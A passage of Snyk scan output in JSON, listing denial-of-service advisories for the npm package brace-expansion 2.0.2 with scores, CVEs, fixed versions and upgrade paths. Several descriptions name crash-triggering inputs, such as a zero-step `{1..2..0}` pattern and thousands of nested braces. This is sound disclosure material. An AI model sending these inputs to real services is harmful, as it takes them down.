"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
